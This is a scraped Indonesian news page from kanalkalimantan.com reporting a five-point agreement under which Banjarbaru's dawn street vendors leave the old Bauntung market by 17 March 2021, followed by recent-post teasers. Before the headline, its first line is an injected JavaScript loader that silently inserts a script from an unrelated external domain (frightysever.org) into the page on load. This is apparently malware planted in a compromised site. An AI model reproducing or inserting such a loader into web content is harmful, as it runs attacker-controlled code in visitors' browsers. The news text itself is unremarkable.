(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

17 Maret Batas Waktu ‘Angkat Kaki’, Ini 5 Poin Kesepakatan PKL Subuh-Pemko


KANALKALIMANTAN.COM, BANJARBARU – Kesepakatan yang dicapai antara Pemerintah Kota (Pemko) Banjarbaru dengan Pedagang Kaki Lima (PKL) Subuh, membuka lebar penuntasan relokasi Pasar Bauntung Banjarbaru.

Yakni, menutup secara permanen kawasan pasar lama yang berada di Jalan A Yani Km 34, Kota Banjarbaru.

Berdasarkan hasil kesepakatan yang dicapai antar kedua belah pihak, tertuang di dalam surat pernyataan bermaterai, PKL Subuh akhirnya menyetujui untuk meninggalkan pasar lama.

 

Berikut 5 poin penyataan PKL Subuh:
1. Bersedia pindah/relokasi ke tempat/lahan baru untuk dijadikan sebagai lokasi berjualan PKL Subuh.

2. Lokasi berjualan yang tersebut akan kami kelola secara swadaya oleh PKL Subuh.

3. Kami bersedia pindah secara swadaya, tidak menuntut Pemerintah Kota Banjarbaru untuk memberikan izin dan memberikan fasilitas pemindahan ke lokasi yang baru.

4. Waktu yang diberikan untuk persiapan pindah adalah 10 hari terhitung mulai tanggal 8 sampai dengan 17 Maret 2021.

5. Bersedia mematuhi seluruh regulasi yang ditetapkan Pemerintah Kota Banjarbaru.

Kesepakatan ini dicapai setelah dilaksanakannya pertemuan di kediaman Wakil Wali Kota Banjarbaru, Wartono, Senin (8/3/2021) malam.

Sebagaimana diketahui, keberadaan PKL Subuh sejatinya telah menghambat jalannya relokasi Pasar Bauntung Banjarbaru. Pihak pemerintah terpaksa harus menunda penutupan pasar Bauntung yang lama di Jalan A Yani Km 34, lantaran adanya keberadaan mereka.

Alasan PKL Subuh menolak pergi dari pasar lama diklaim lantaran mereka tidak diikutsertakan dalam pemindahan ke lokasi Pasar Bauntung yang berada di Jalan RO Ulin, Kecamatan Banjarbaru Selatan.

Memang rencana pemerintah relokasi ke pasar baru tersebut hanya dikhususkan bagi pedagang Pasar Bauntung Banjarbaru yang telah terdaftar selama ini oleh pihak pemerintah.

Namun disamping itu, sebenarnya Pemerintah Kota (Pemko) Banjarbaru telah mencarikan solusi atas nasib PKL Subuh.

Salah satunya, yakni dengan menawarkan dipindahkan ke pasar Pondok Mangga. Sayangnya, tawaran tersebut ditolak mentah-mentah oleh para PKL.

Dengan hasil kesepakatan ini, pemerintah akhirnya bisa menjalankan tahap akhir dari relokasi Pasar Bauntung. Yakni, menutup secara permanen Pasar Bauntung yang selama ini kondisinya telah dianggap kumuh dan tidak terawat. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie


Al Ghifari

Recent Posts

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

59 menit ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

1 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

2 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

2 jam ago

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

15 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

16 jam ago

This website uses cookies.